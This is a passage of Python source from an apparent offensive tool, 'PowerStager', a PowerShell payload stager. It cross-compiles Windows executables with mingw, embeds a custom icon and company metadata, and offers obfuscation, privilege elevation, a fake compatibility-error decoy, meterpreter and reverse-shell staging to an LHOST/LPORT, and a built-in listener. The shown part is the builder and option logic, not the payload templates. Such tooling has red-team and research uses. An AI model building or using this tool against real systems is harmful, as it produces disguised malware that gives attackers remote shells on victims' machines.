	resource_content = windres_resource.replace(
		"[_RC_ICON_]"				, rc_icon
	).replace(
		"[_RC_MANIFEST_FILE_]"		, temp_name_manifest
	).replace(
		"[_RC_COMPANY_NAME_]"		, rc_company_name
	).replace(
		"[_RC_DESCRIPTION_]"		, rc_description
	).replace(
		"[_RC_INTERNAL_NAME_]"		, rc_internal_name
	).replace(
		"[_RC_LEGAL_NAME_]"			, rc_legal_name
	).replace(
		"[_RC_OUTPUT_NAME_]"		, rc_original_filename
	).replace(
		"[_RC_APPLICATION_NAME_]"	, rc_product_name
	)
	
	if Utility.get_configuration_value(conf_name.SOURCE_ONLY):
		
		print(source_content)
		sys.exit()
		
	else:

		# Create sourcecode file
		with open(temp_name_sourcecode, "w") as _file:
			_file.write(source_content)

		# Create manifest file
		with open(temp_name_manifest, "w") as _file:
			_file.write(manifest_content)

		# Create resource file
		with open(temp_name_rc, "w") as _file:
			_file.write(resource_content)

		if (
			Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN32
			and (os.system("i686-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && i686-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0)
		) or (
			Utility.get_configuration_value(conf_name.TARGET) == os_target.WIN64
			and (os.system("x86_64-w64-mingw32-windres -i " + temp_name_rc + " -o " + temp_name_o + " && x86_64-w64-mingw32-gcc -mwindows -o " + output + " " + temp_name_sourcecode + " " + temp_name_o) == 0)
		):
			Print.add_name_value("File signature", hashlib.md5(open(output, "rb").read()).hexdigest(), Print.info)
			Print.add_name_value("Payload generated", output, Print.success)

		else:		
			Print.add_name_value("Failed to generate", output, Print.error)

		# Clean up from temporary files
		os.system("/bin/rm -f " + temp_name_sourcecode)
		os.system("/bin/rm -f " + temp_name_manifest)
		os.system("/bin/rm -f " + temp_name_rc)
		os.system("/bin/rm -f " + temp_name_o)


# Print program header in terminal
def print_header():
	Print.text("\033[38;5;160m" + r"   ___                       __ _                        " + "\033[0m")
	Print.text("\033[38;5;161m" + r"  / _ \_____      _____ _ __/ _\ |_ __ _  __ _  ___ _ __ " + "\033[0m")
	Print.text("\033[38;5;162m" + r" / /_)/ _ \ \ /\ / / _ \ '__\ \| __/ _` |/ _` |/ _ \ '__|" + "\033[0m")
	Print.text("\033[38;5;163m" + r"/ ___/ (_) \ V  V /  __/ |  _\ \ || (_| | (_| |  __/ |   " + "\033[0m")
	Print.text("\033[38;5;164m" + r"\/    \___/ \_/\_/ \___|_|  \__/\__\__,_|\__, |\___|_|   " + "\033[0m")
	Print.text("\033[38;5;130m" + r"   _ __  _   _                           " + "\033[38;5;164m|___/\033[38;5;130m           " + "\033[0m")
	Print.text("\033[38;5;131m" + r"  | '_ \| | | |                                          " + "\033[0m")
	Print.text("\033[38;5;132m" + r" _| |_) | |_| |  A payload stager using PowerShell       " + "\033[0m")
	Print.text("\033[38;5;133m" + r"(_) .__/ \__, |  Created by z0noxz                       " + "\033[0m")
	Print.text("\033[38;5;134m" + r"  |_|    |___/                                           " + "\033[0m")


def main(argv):
	global help_notes

	# Create shortcut for get_configuration_value
	GET = lambda x: Utility.get_configuration_value(x)
	
	# Define default configuration
	local_configuration = {
		conf_name.URL					: None,
		conf_name.PATH					: None,
		conf_name.OUTPUT				: None,
		conf_name.TARGET				: None,
		conf_name.LHOST					: None,
		conf_name.LPORT					: None,
		conf_name.FAKE_ERROR			: None,
		conf_name.ICON					: None,
		
		conf_name.OBFUSCATION			: False,
		conf_name.REVERSE_SHELL			: False,
		conf_name.METERPRETER			: False,
		conf_name.LISTENER				: False,
		conf_name.GENERATE				: False,
		conf_name.SOURCE_ONLY			: False,
		conf_name.ELEVATION				: False,
	}

	print_header()
	Print.text()

	# Replace placeholders in help notes
	help_notes = help_notes.replace("[_CHECK_i686_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-gcc") else "\033[91mmissing\033[0m")
	help_notes = help_notes.replace("[_CHECK_x86_64_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-gcc") else "\033[91mmissing\033[0m")
	help_notes = help_notes.replace("[_CHECK_i686_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("i686-w64-mingw32-windres") else "\033[91mmissing\033[0m")
	help_notes = help_notes.replace("[_CHECK_x86_64_WINDRES_]", "\033[92mpresent\033[0m" if Utility.which("x86_64-w64-mingw32-windres") else "\033[91mmissing\033[0m")
	
	# Fix for dynamic flag/value argument
	for i, opt in enumerate(argv):
		if opt == "--fake-error": argv[i] = "--fake-error="
	
	# Read configuration from arguments
	try:
		opts, args = getopt.getopt(
			argv,
			"hu:p:mro:t:eg",
			[
				"help",
				"url=",
				"path=",
				"meterpreter",
				"reverse-shell",
				"output=",
				"target=",
				"lhost=",
				"lport=",
				"use-elevation",
				"listener",
				"generate",
				"fake-error=",
				"source-only",
				"obfuscation",
				"icon=",
			]
		)
	except getopt.GetoptError as e:
		print(help_notes)
		Print.error(str(e))
		sys.exit(2)
	for opt, arg in opts:
		if opt in ("-h", "--help"):
			print(help_notes)
			sys.exit()
		
		elif opt in ("-u", "--url"):
			local_configuration[conf_name.URL] = arg if Utility.is_url(arg) else None
		
		elif opt in ("-p", "--path"):
			local_configuration[conf_name.PATH] = arg if os.path.isfile(arg) else None
		
		elif opt in ("-m", "--meterpreter"):
			local_configuration[conf_name.METERPRETER] = True
		
		elif opt in ("-r", "--reverse-shell"):
			local_configuration[conf_name.REVERSE_SHELL] = True
		
		elif opt in ("-o", "--output"):
			local_configuration[conf_name.OUTPUT] = arg
		
		elif opt in ("-t", "--target"):
			local_configuration[conf_name.TARGET] = {
				"win32"	: os_target.WIN32,
				"win64"	: os_target.WIN64,
			}.get(arg.lower(), None)
		
		elif opt in ("--lhost"):
			local_configuration[conf_name.LHOST] = arg if Utility.is_ipv4_address(arg) else None
		
		elif opt in ("--lport"):
			local_configuration[conf_name.LPORT] = arg if (arg.isdigit() and int(arg) >= 1 and int(arg) <= 65535) else None
		
		elif opt in ("-e", "--use-elevation"):
			local_configuration[conf_name.ELEVATION] = True
		
		elif opt in ("--listener"):
			local_configuration[conf_name.LISTENER] = True
		
		elif opt in ("-g", "--generate"):
			local_configuration[conf_name.GENERATE] = True
		
		elif opt in ("--fake-error"):
			local_configuration[conf_name.FAKE_ERROR] = (
				[arg.split("::")[0], "::".join(arg.split("::")[1:])] if (
					len(arg.split("::")) >= 2
				) else ["Application compatibility error", "The version of this file is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact he software publisher."])
		
		elif opt in ("--source-only"):
			local_configuration[conf_name.SOURCE_ONLY] = True
			
		elif opt in ("--obfuscation"):
			local_configuration[conf_name.OBFUSCATION] = True
			
		elif opt in ("--icon"):
			local_configuration[conf_name.ICON] = arg

	# Load configuration
	Utility.load_configuration(local_configuration)

	# Check if mingw32 GCC exists
	if (not Utility.which("i686-w64-mingw32-gcc")) or (not Utility.which("x86_64-w64-mingw32-gcc")):
		Print.error("mingw GCC does not seem to be installed on your system")
		sys.exit(2)

	# Check if mingw32 Windres exists
	if (not Utility.which("i686-w64-mingw32-windres")) or (not Utility.which("x86_64-w64-mingw32-windres")):
		Print.error("mingw WINDRES does not seem to be installed on your system")
		sys.exit(2)
		
	# Check if listener option is selected
	if GET(conf_name.LISTENER):
		if GET(conf_name.LPORT) != None:	
			Print.add_name_value("Listener", "Listener will open automatically", Print.info)
		else:
			Print.error("LPORT must be specified when creating a listener")
			sys.exit(2)

	# Check if no method is selected
	if (
		[
			GET(conf_name.URL) != None,
			GET(conf_name.PATH) != None,
			GET(conf_name.METERPRETER),
			GET(conf_name.REVERSE_SHELL),
			
			# Include listener in this check
			GET(conf_name.LISTENER),
		].count(True) == 0
	):
		Print.error("A method parameter is missing, or malformed. Choose one of:")
		Print.text("    --" + "\n      --".join(["url", "path", "meterpreter", "reverse-shell"]))
		sys.exit(2)
	
	# Check if more than one method is selected
	elif (
		[
			GET(conf_name.URL) != None,
			GET(conf_name.PATH) != None,
			GET(conf_name.METERPRETER),
			GET(conf_name.REVERSE_SHELL),
		].count(True) > 1
	):
		Print.error("Only one method parameter is allowed")
		sys.exit(2)
	
	# Check if a method is selected
	elif (
		[
			GET(conf_name.URL) != None,
			GET(conf_name.PATH) != None,
			GET(conf_name.METERPRETER),
			GET(conf_name.REVERSE_SHELL),
		].count(True) == 1
	):

		# Check if target is missong
		if GET(conf_name.TARGET) == None:
			Print.error("--target must be either win32 or win64")
			sys.exit(2)
		else:
			Print.add_name_value("Target", ("WIN32" if GET(conf_name.TARGET) == os_target.WIN32 else "WIN64").lower(), Print.info)
		
		# Check if output is missing
		if GET(conf_name.OUTPUT) == None:
			Print.error("'output' parameter is missing, or empty")
			sys.exit(2)
		else:
			Print.add_name_value("Output", GET(conf_name.OUTPUT), Print.info)
		
		# Check if elevation is selected
		if (GET(conf_name.ELEVATION)):
			Print.add_name_value("Invoke with elevation", "Yes", Print.info)
	
		# Check if URL method is selected
		if GET(conf_name.URL) != None:
			Print.add_name_value("URL", GET(conf_name.URL), Print.info)

		# Check if PATH method is selected
		elif GET(conf_name.PATH) != None:
			Print.add_name_value("PATH", GET(conf_name.PATH), Print.info)

		# Check if METERPRETER method is selected
		elif GET(conf_name.METERPRETER):
			if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None:
				Print.add_name_value("Meterpreter listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info)
			else:
				Print.error("LHOST and LPORT must be specified when generating a meterpreter payload")
				sys.exit(2)

		# Check if REVERSE_SHELL method is selected
		elif GET(conf_name.REVERSE_SHELL):
			if GET(conf_name.LHOST) != None and GET(conf_name.LPORT) != None:
				Print.add_name_value("Reverse shell listener", GET(conf_name.LHOST) + ":" + GET(conf_name.LPORT), Print.info)
			else:
				Print.error("LHOST and LPORT must be specified when generating a reverse shell payload")
				sys.exit(2)

		# Print working status
		sys.stdout.write("\b" * (Print.text("Working...", True) + 2))

		# Compile source
		compile_source()
	
		# Print buffered output after success
		Print.name_value_print()
	
	# Invoke listener
	if GET(conf_name.LISTENER) and GET(conf_name.LPORT):
		Listener("0.0.0.0", int(GET(conf_name.LPORT))).start()
		
# Prevent ctrl+Z from exiting
signal.signal(signal.SIGTSTP, (lambda *a: Print.text(Print.wipe(back=True), True)))

if __name__ == "__main__":
	main(sys.argv[1:])
